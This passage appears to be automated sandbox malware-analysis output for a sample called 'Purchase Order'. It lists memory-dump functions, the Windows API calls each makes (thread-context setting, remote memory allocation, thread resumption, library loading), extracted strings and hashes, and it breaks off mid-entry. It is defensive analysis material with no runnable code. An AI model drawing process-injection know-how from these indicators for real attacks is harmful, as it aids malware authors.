Wow64SetThreadContext.KERNEL32(?,00000000), ref: 05300BF6

Memory Dump Source

Source File: 00000000.00000002.1734783590.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5300000_Purchase Order.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: c78bdf2e1cc9f4c0144457402a83643ac1bb708177bed594c9f1992fab5736f9
Instruction ID: 7d32dd3601b904dc3142bf6462fc3e85679cde815ae399ba6927cbee83ba3730
Opcode Fuzzy Hash: c78bdf2e1cc9f4c0144457402a83643ac1bb708177bed594c9f1992fab5736f9
Instruction Fuzzy Hash: B32149B1D003098FDB14DFAAC5857EEBBF4EF48324F54842AD419A7241CB789945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05300C48 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05300CBE

Memory Dump Source

Source File: 00000000.00000002.1734783590.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5300000_Purchase Order.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ca98b81a09beac82eaa9ed7462b9edc8f69b603382b4d1ffbe60f220849ae8c4
Instruction ID: e3efba32858eb3bc340bdb574fa8103bc5e6834eb141f9684b22e7fa13440d4d
Opcode Fuzzy Hash: ca98b81a09beac82eaa9ed7462b9edc8f69b603382b4d1ffbe60f220849ae8c4
Instruction Fuzzy Hash: B21144729002099FCB24DFA9C845AEEBFF5BF88320F20881AE519AB250C7759540DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0190A130 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0190B079,00000800,00000000,00000000), ref: 0190B28A

Memory Dump Source

Source File: 00000000.00000002.1732264506.0000000001900000.00000040.00000800.00020000.00000000.sdmp, Offset: 01900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1900000_Purchase Order.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 2b116f2f45f1c788467d32d3baf12181c41789ea1292b6d89a8fcb421a980831
Instruction ID: 4f7a412d73ec03b1f5009e2f3e6099e7aa47f0fc16262c252fcef8cbeba66bbb
Opcode Fuzzy Hash: 2b116f2f45f1c788467d32d3baf12181c41789ea1292b6d89a8fcb421a980831
Instruction Fuzzy Hash: 371112B68043099FDB20CF9AC484B9EFBF8EB98320F10842EE519A7240C375A545CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0190B219 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0190B079,00000800,00000000,00000000), ref: 0190B28A

Memory Dump Source

Source File: 00000000.00000002.1732264506.0000000001900000.00000040.00000800.00020000.00000000.sdmp, Offset: 01900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1900000_Purchase Order.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 60152a14d8011a1cdd382a708f18b0d352fabc5e2a349374200301f2f02c09b0
Instruction ID: bb03cf51bfa45298337b9fbc97ca91cc161c7d1d9b9c7fc681fad0225488f819
Opcode Fuzzy Hash: 60152a14d8011a1cdd382a708f18b0d352fabc5e2a349374200301f2f02c09b0
Instruction Fuzzy Hash: 091114B68003498FDB24DFAAC484ADEFFF4EB58310F14846AD559A7240C375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 05300C50 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05300CBE

Memory Dump Source

Source File: 00000000.00000002.1734783590.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5300000_Purchase Order.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8a394028daa498af969050f4bb8d081e1f933643c418027bebe464b17d54a8af
Instruction ID: 0e5741431fad7cbc01d183f6853e55f36a7a0ccac9d042b37a9ad9ce00366456
Opcode Fuzzy Hash: 8a394028daa498af969050f4bb8d081e1f933643c418027bebe464b17d54a8af
Instruction Fuzzy Hash: EE1137729003499FCB24DFAAC845BDEBFF5EF88320F24881AE519A7250C775A540DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05300689 Relevance: 1.6, APIs: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 053006F2

Memory Dump Source

Source File: 00000000.00000002.1734783590.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5300000_Purchase Order.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 5cf68595f21c769ba09731aea531bc68eba80a253cbb2b93346b2d26a6648b85
Instruction ID: 721c9193858db43889bdfb89078b08ff8599e6d82a4fc6bb519d18b6df55d7ea
Opcode Fuzzy Hash: 5cf68595f21c769ba09731aea531bc68eba80a253cbb2b93346b2d26a6648b85
Instruction Fuzzy Hash: 311158B19003498BDB20DFAAC4857AFFBF9EB88324F248419D419A7240CB79A500CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 05300690 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 053006F2

Memory Dump Source

Source File: 00000000.00000002.1734783590.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5300000_Purchase Order.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 2c1834d5d27e4018e9f384fb83e3030fa1a9e78616c7fffa419e9963e490495a
Instruction ID: 05d677442cf5f395882c1a768365d55dfb5e6ebe32a77add3d030ce2584fb175
Opcode Fuzzy Hash: 2c1834d5d27e4018e9f384fb83e3030fa1a9e78616c7fffa419e9963e490495a
Instruction Fuzzy Hash: D3113AB1D003498FDB24DFAAC4457AEFBF5EF88324F248419D519A7240CB79A540CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0190AF98 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0190AFFE

Memory Dump Source

Source File: 00000000.00000002.1732264506.0000000001900000.00000040.00000800.00020000.00000000.sdmp, Offset: 01900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1900000_Purchase Order.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 30249cb0d7bab1fcf0e13877976d48ae7c94a0ef806698c6d962c7174b102cfe
Instruction ID: 4ef721cc27b77d058c84d568bad76d546e747e0a2a3c737f53c5631ce279a4ed
Opcode Fuzzy Hash: 30249cb0d7bab1fcf0e13877976d48ae7c94a0ef806698c6d962c7174b102cfe
Instruction Fuzzy Hash: 72110FB6C003498FDB20CF9AC444B9EFBF8AB88324F10842AD529A7250C379A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 053036C8 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0530372D

Memory Dump Source

Source File: 00000000.00000002.1734783590.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5300000_Purchase Order.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: b7566c13112d50593c56ea775b6b1228711dc9bceebc5d8a5b3da73365eb8cf2
Instruction ID: 1a5de519881317ed4d7a3b630d67f2acf160dfc2ffa0f63f199466a5330d0ab5
Opcode Fuzzy Hash: b7566c13112d50593c56ea775b6b1228711dc9bceebc5d8a5b3da73365eb8cf2
Instruction Fuzzy Hash: 661103B68003499FDB10DF9AD885BDEBBF8FB48720F20881AE559A3240C375A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 053036D0 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0530372D

Memory Dump Source

Source File: 00000000.00000002.1734783590.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5300000_Purchase Order.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: ccb9f6478f786965036839ef5fb8c81812f0c006407f4a90416a37b44ba0a05c
Instruction ID: 7f1011a3ecd2129d7d847044b92ab11e32849173b17d97ba291798d6134109fc
Opcode Fuzzy Hash: ccb9f6478f786965036839ef5fb8c81812f0c006407f4a90416a37b44ba0a05c
Instruction Fuzzy Hash: B31103B58003499FDB10DF9AD885BDEBBF8EB48320F20841AD558A3240C375A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 094B43EC Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

Tefq, xrefs: 094B5411

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID: Tefq
API String ID: 0-1066582953
Opcode ID: 679de12e434d6eebd866ca87a4ba8a857912cdf0fa6b5d8fe7da7c0335737b71
Instruction ID: 19de5ee79759bd2ac897ca0fd7898bcd7ca18aa256669f285399d97eac95f812
Opcode Fuzzy Hash: 679de12e434d6eebd866ca87a4ba8a857912cdf0fa6b5d8fe7da7c0335737b71
Instruction Fuzzy Hash: 9A41A075B002164FCB04DB79C8849AFBBF6EFC4310714892AE419DB391EB709D0687A1

Uniqueness

Uniqueness Score: -1.00%

Function 0586A2F0 Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

Hjq, xrefs: 0586A40F

Memory Dump Source

Source File: 00000000.00000002.1735921052.0000000005860000.00000040.00000800.00020000.00000000.sdmp, Offset: 05860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5860000_Purchase Order.jbxd

Similarity

API ID:
String ID: Hjq
API String ID: 0-3368716452
Opcode ID: b630cb5cd629711fd480953e844318702d84f5c1a9430ecbc2253ae7234437f4
Instruction ID: e739a217b8f9fc22c85afe085d7915c62f3d8ed1592dd0fd3ba0841090239240
Opcode Fuzzy Hash: b630cb5cd629711fd480953e844318702d84f5c1a9430ecbc2253ae7234437f4
Instruction Fuzzy Hash: A6412136B002119BC709AFBC989467F7AA7FBC4251B548426ED06DB385EE34DC4283E2

Uniqueness

Uniqueness Score: -1.00%

Function 094B5B80 Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

Hjq, xrefs: 094B6D51

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID: Hjq
API String ID: 0-3368716452
Opcode ID: fa13a2110bd42f3ecfe7d8cad04a3766ff4ad0b6ed4c0a17409bfd24a8ec76dd
Instruction ID: 9c4cf525fe42a4724365aec25d80a27432c35f80c274a8a340d555a7d092002d
Opcode Fuzzy Hash: fa13a2110bd42f3ecfe7d8cad04a3766ff4ad0b6ed4c0a17409bfd24a8ec76dd
Instruction Fuzzy Hash: 7D4105B5E04249DFCF01DFE8C9815EEBBB2FB49351F11446AE919AB340D7316A06CB61

Uniqueness

Uniqueness Score: -1.00%

Function 094B458C Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

RK, xrefs: 094B5492

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID: RK
API String ID: 0-775345602
Opcode ID: 04504e991548c8552c7a99f2d559ad167d5baff604aa93be582a0923de18b1c3
Instruction ID: 005d62c532dd321e32d416a17d9a3a50ad9b9d4d426eb030567390ea719e6ffd
Opcode Fuzzy Hash: 04504e991548c8552c7a99f2d559ad167d5baff604aa93be582a0923de18b1c3
Instruction Fuzzy Hash: 7431EEB0D01218DFDB24DF9AC988BDEBBF5AB48314F64806AE408BB340C7B55845CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 094B5455 Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

RK, xrefs: 094B5492

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID: RK
API String ID: 0-775345602
Opcode ID: c0f7a4e825750e5480b91098ab73326e8212b91e0d916e01ec089796cab44789
Instruction ID: 5191ceeab92ca526ebe2b0a4c3e3273a99910c268137b0015cec97e0c5fb6de1
Opcode Fuzzy Hash: c0f7a4e825750e5480b91098ab73326e8212b91e0d916e01ec089796cab44789
Instruction Fuzzy Hash: 2B21DFB1D01218DFDB24DFA9C989BCEBBF5AB48314F24845AE408BB354C7B55845CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 094B51D0 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

Tefq, xrefs: 094B523B

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID: Tefq
API String ID: 0-1066582953
Opcode ID: ff4e4fe07d943726a5b69ac9e623ae4853b27ec4de6cd6b1aec94584c763da7b
Instruction ID: 5db295e3293e3ea7c600ca48b3d2608f0548ee4f464adf71c99aa156db78159b
Opcode Fuzzy Hash: ff4e4fe07d943726a5b69ac9e623ae4853b27ec4de6cd6b1aec94584c763da7b
Instruction Fuzzy Hash: 17114831B0120A8BCF58EBB999015EFB7B6AFC9355B10402AD404EB344EB319E01CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 094BA2EC Relevance: 1.3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

Strings

Tefq, xrefs: 094BA41F

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID: Tefq
API String ID: 0-1066582953
Opcode ID: cff52787e2bfce4e54595589faf7d0623a07a76ebe8982a2983cb0b96b1e0c7c
Instruction ID: 8cd2755e1bc8de14c585959b6772c4039bda37dd28776ddf8749c200a7ac0c2d
Opcode Fuzzy Hash: cff52787e2bfce4e54595589faf7d0623a07a76ebe8982a2983cb0b96b1e0c7c
Instruction Fuzzy Hash: 4F218E75E002099FCB05DFE8D8849EDBBB6FB49310F10812AE919AB361D7319956CB20

Uniqueness

Uniqueness Score: -1.00%

Function 094BD664 Relevance: 1.3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

Strings

HvT, xrefs: 094BD669

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID: HvT
API String ID: 0-2291375064
Opcode ID: ca5a3fd92dc783b9115e228591c629123446337c03964bb6dd18fed495fbc790
Instruction ID: 4ae5285ff5632001cfb137a1ac170bfa72138821140380fbfdc24e3b4e9acc76
Opcode Fuzzy Hash: ca5a3fd92dc783b9115e228591c629123446337c03964bb6dd18fed495fbc790
Instruction Fuzzy Hash: 59216AB4E082488FC744DFA8E54869D7BFAFB88304B009255E809AF384DB309C46DF51

Uniqueness

Uniqueness Score: -1.00%

Function 094BD5DD Relevance: 1.3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

Strings

HvT, xrefs: 094BD5E2

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID: HvT
API String ID: 0-2291375064
Opcode ID: 1c0fef146b30f47820f395eb330252af85b73636fcb8f3a6a2480626ba5aac6f
Instruction ID: eeb708602c2dfd16b00ed392c35f095ae437d7c90a63fa9f97d8dadf6aeb2839
Opcode Fuzzy Hash: 1c0fef146b30f47820f395eb330252af85b73636fcb8f3a6a2480626ba5aac6f
Instruction Fuzzy Hash: 9A115AB8E012598FC794DB6AE8047987BB6FB88304F0095D6980EFB244DB305D86DF61

Uniqueness

Uniqueness Score: -1.00%

Function 094B2978 Relevance: 1.3, Strings: 1, Instructions: 38COMMON

Download Yara Rule

Strings

Tefq, xrefs: 094B29DA

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID: Tefq
API String ID: 0-1066582953
Opcode ID: edccdee00dfcfa918d9bfc83a44752179d5d5f24b6b40a367f5ad19b14948d44
Instruction ID: 9214221fe16aa3a4dc9d96bd132d34a4b62b7e1756956e149e4273a971484c70
Opcode Fuzzy Hash: edccdee00dfcfa918d9bfc83a44752179d5d5f24b6b40a367f5ad19b14948d44
Instruction Fuzzy Hash: 9901E274E01208CFDB24DFB9D4846EEBBB2BF58301F20802AE829AB341EB305901DF10

Uniqueness

Uniqueness Score: -1.00%

Function 094BD6FB Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

PuT, xrefs: 094BD700

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID: PuT
API String ID: 0-527981297
Opcode ID: 538aad5b2ddbfe9519154a1b306fce820a99c190fd137148e5a0752bd782a8ba
Instruction ID: c1ffd92c2faca3c70907fa8c35626a63279c5b7d71b1ccdc3d188bb90581ff6b
Opcode Fuzzy Hash: 538aad5b2ddbfe9519154a1b306fce820a99c190fd137148e5a0752bd782a8ba
Instruction Fuzzy Hash: 61E04FB4E04209CFC744DFEAD5845DC3BF9FB89304B105A19E40AEF244EB3098069F52

Uniqueness

Uniqueness Score: -1.00%

Function 094BF8E0 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ee5ad0f36c946c59ad7bbf8a119e5e6ae07ab4ee2ef9d950ee556d4b22eae12
Instruction ID: 4b5b96fcb5669bff3906e75ce8dff7af3485a0619b45e19ec94ec124d62dfeeb
Opcode Fuzzy Hash: 5ee5ad0f36c946c59ad7bbf8a119e5e6ae07ab4ee2ef9d950ee556d4b22eae12
Instruction Fuzzy Hash: 4D61EB75B002058BCF59EF79C8552AE7BB2AF88354F1005AED44AEB391DF319D06C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 094B04B0 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3cc92aa6773f3e33d0f9a437d9df6ca1de1a8e2529bf30fc88022bdf935a019
Instruction ID: b5256e9fe03d6973fde4adc072ad58d0126119c800487f2853226ee418afb92f
Opcode Fuzzy Hash: a3cc92aa6773f3e33d0f9a437d9df6ca1de1a8e2529bf30fc88022bdf935a019
Instruction Fuzzy Hash: 17714F30E006098FCB15DF79D8596EEBBB1FF88341F14852AE806AB354EB74D945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0586E450 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735921052.0000000005860000.00000040.00000800.00020000.00000000.sdmp, Offset: 05860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5860000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30c55498faa2cc5d58778f9bc525f77308abec814a6bc8048db64dda20e1992a
Instruction ID: 6ff688b0df1ae8c42c4940adbb40d9beb9dc3df693cb98ac33988c940caeea8b
Opcode Fuzzy Hash: 30c55498faa2cc5d58778f9bc525f77308abec814a6bc8048db64dda20e1992a
Instruction Fuzzy Hash: 8C716E78A01608EFCB55DFA9D498DAEBBB6BF48614B114098F905AB361DB31EC81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 094B67F0 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8af93d1ec55b95dd1707d74122402b3af73b2be9276860b5ea9a525c296388a0
Instruction ID: 2feb5f9e061eced28a85ceda2bbbe7756bd7fb26f33d8320ae1669325e11022a
Opcode Fuzzy Hash: 8af93d1ec55b95dd1707d74122402b3af73b2be9276860b5ea9a525c296388a0
Instruction Fuzzy Hash: 3F51F674D09219CFDF14CFA9C840AEEBBF6AF4A350F11952AE419AB310E7319942CF60

Uniqueness

Uniqueness Score: -1.00%

Function 094B7461 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13c9c74e1a0d37a1bc0717085f46ccd769a8b33bb3b37e5a7bea96c0d4fb0045
Instruction ID: 66fe3ebf76e69d14e6f9fb37a18b9c697230044dafdc08c411019ff603228968
Opcode Fuzzy Hash: 13c9c74e1a0d37a1bc0717085f46ccd769a8b33bb3b37e5a7bea96c0d4fb0045
Instruction Fuzzy Hash: 1D51B474D09229CFDB64CF69C880BEEB7B5BF99340F1094A6D449EB601E7359A85CF20

Uniqueness

Uniqueness Score: -1.00%

Function 094B5B9C Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0203d6d6b55ea47ebc025584d215e4a8d77391b496e34147cb7922cd28108cd
Instruction ID: 59044e878c4da27d42820db97d372d9688202f6f3c5fc15e70e22318bf237c23
Opcode Fuzzy Hash: f0203d6d6b55ea47ebc025584d215e4a8d77391b496e34147cb7922cd28108cd
Instruction Fuzzy Hash: AD416FB1A002599FCF54DFADC8546EFBBE6EF98310F14842AE905EB340DB349901CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0586E128 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735921052.0000000005860000.00000040.00000800.00020000.00000000.sdmp, Offset: 05860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5860000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a12128ae0e12d07300402ac11bc33d47dbefe60e99ffa6dd570291cb8abf52a8
Instruction ID: 14ebb8c9917c41bb30459ab3fe6e1037a3dc9e8591b789311ddff1adfa959977
Opcode Fuzzy Hash: a12128ae0e12d07300402ac11bc33d47dbefe60e99ffa6dd570291cb8abf52a8
Instruction Fuzzy Hash: DE51B0357002048FCB19EB68D494BAE7BFAEF89300F1444A9E50AEB3A1CA75DC05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 094BFC78 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7581e1c9c0d52469ae5355a39f5ffcd8d5c95dcafc815edc1b3a91c647f82a41
Instruction ID: 9018acb102a60bec1a4345b0d05781abb1da2d716e3f8b98c3c3a19c030a3cbd
Opcode Fuzzy Hash: 7581e1c9c0d52469ae5355a39f5ffcd8d5c95dcafc815edc1b3a91c647f82a41
Instruction Fuzzy Hash: DB41B771B002169FCB58EF7CC9941EE77B6AF89300B1044ABD40ADB354DA358C86C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 094B7A68 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8e427f38b4c575400760ba2c83160e8425ebd994c120b37e1e0e9d55401eb1f
Instruction ID: 8c52e634108d6309d76abb21597fb3d94fbe21c8891393e631ba5b5f0de5d671
Opcode Fuzzy Hash: e8e427f38b4c575400760ba2c83160e8425ebd994c120b37e1e0e9d55401eb1f
Instruction Fuzzy Hash: 9A412874E09219DFCB04CFA9D8909EEBBB5FF89354F10952AE412AB750DB319942CF60

Uniqueness

Uniqueness Score: -1.00%

Function 094B3828 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de7fc5e503225d65a290f4d5edb285f5f38557158c2b391ea9215a7d1e58f499
Instruction ID: a9be708e5b2d65716e831c083937c1c295097dc7e834f5040e1ab5d80f43ac18
Opcode Fuzzy Hash: de7fc5e503225d65a290f4d5edb285f5f38557158c2b391ea9215a7d1e58f499
Instruction Fuzzy Hash: D6519F75E0120C9FDB04CFA9D984AEDBBB2FF89310F10905AE805A7355DB35A946CB64

Uniqueness

Uniqueness Score: -1.00%

Function 094BAA40 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 110d25dfc04a5efe48dd43d1e24723eccd6eecadcc682d62150ecc05327ae25f
Instruction ID: e0d232ca53e4c2dae30ffb1157358ec0fe75a74a9ae3b928191388ea11969952
Opcode Fuzzy Hash: 110d25dfc04a5efe48dd43d1e24723eccd6eecadcc682d62150ecc05327ae25f
Instruction Fuzzy Hash: 1241F874E09208CFDB08CFAAC5546EEBBF6AB8C300F14D16AE419AB251D7355942CB74

Uniqueness

Uniqueness Score: -1.00%

Function 094B3278 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33c434ec2afc3cec2dd72da6f02ccaecd2a67cdf01fe846bf9fc929830b5a669
Instruction ID: 7168d4330063b13ac86c32df5c4d0d83e4b11bcaa317c39ac58aa82d9a4f3c84
Opcode Fuzzy Hash: 33c434ec2afc3cec2dd72da6f02ccaecd2a67cdf01fe846bf9fc929830b5a669
